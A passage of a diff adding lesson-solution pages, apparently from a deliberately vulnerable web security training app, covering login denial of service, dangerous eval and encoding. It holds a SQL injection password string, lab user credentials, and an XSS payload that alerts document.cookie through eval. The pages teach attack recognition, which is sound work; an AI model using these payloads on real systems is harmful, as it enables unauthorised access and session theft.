UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Cambria;
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1073741899 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> Denial of
|
||||
Service from Multiple Logins<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Denial of
|
||||
service attacks are a major issue in web applications. If the end user cannot conduct
|
||||
business or perform the service offered by the web application, then both time
|
||||
and money is wasted. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This site
|
||||
allows a user to login multiple times. This site has a database connection pool
|
||||
that allows 2 connections. You must obtain a list of valid users and create a
|
||||
total of 3 logins.<o:p></o:p></span></p>
|
||||
|
||||
<h2><span style='color:windowtext'>Solution:<o:p></o:p></span></h2>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This site
|
||||
allows a user to login multiple times. There is a database connection pool that
|
||||
allows 2 connections. You must obtain a list of valid users and create a total
|
||||
of 3 logins.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Let's try a
|
||||
SQL Injection attack. Enter in the password field ' or '1' = '1<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_9" o:spid="_x0000_i1026" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOS_Login_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/DOS_Login_files/image002.jpg" v:shapes="Picture_x0020_9"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 20</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Login with
|
||||
user name jsnow and password passwd1. Then login with user name jdoe and
|
||||
password passwd1. And finally login with jplane and passwd3. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_10"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOS_Login_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/DOS_Login_files/image004.jpg" v:shapes="Picture_x0020_10"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 20 Completed<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
28
src/main/webapp/lesson_solutions_1/DangerousEval.html
Normal file
28
src/main/webapp/lesson_solutions_1/DangerousEval.html
Normal file
@ -0,0 +1,28 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Dangerous Use of Eval</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Dangerous Use of Eval)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated user-supplied data is used in conjunction with a Javascript eval() call. In a reflected XSS attack, an attacker can craft a URL with the attack script and store it on another website, email it, or otherwise trick a victim into clicking on it.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to come up with some input which, when run through eval, will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
The value of the digit access code field is placed in the Javascript eval() function. This is the reason why your attack will not require the "<script>" tags.<br/>
|
||||
Enter: 123');alert(document.cookie);('<br/><br/>
|
||||
The result on the server is:<br/><br/>
|
||||
eval('<font color="#ff0000">123');<br/>
|
||||
alert(document.cookie);<br/>
|
||||
('</font>');
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
||||
22
src/main/webapp/lesson_solutions_1/Encoding.html
Normal file
22
src/main/webapp/lesson_solutions_1/Encoding.html
Normal file
@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Encoding Basics</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Different encoding schemes can be used in web applications for different reasons.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
This lesson will familiarize the user with different encoding schemes.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
Enter the string "abc". In the List below you see the encoded value of the string. For rot13 encoding this is "nop". Now enter a string "a c" and have a look on the url encoding.<br><br><br>
|
||||
</body>
|
||||
</html>
|
||||
741
src/main/webapp/lesson_solutions_1/FailOpenAuthentication.html
Normal file
741
src/main/webapp/lesson_solutions_1/FailOpenAuthentication.html
Normal file
@ -0,0 +1,741 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/FailOpenAuthentication_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/FailOpenAuthentication_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>38</o:TotalTime>
|
||||
<o:Created>2007-07-11T14:02:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:34:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>181</o:Words>
|
||||
<o:Characters>1033</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>8</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1212</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/FailOpenAuthentication_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/FailOpenAuthentication_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
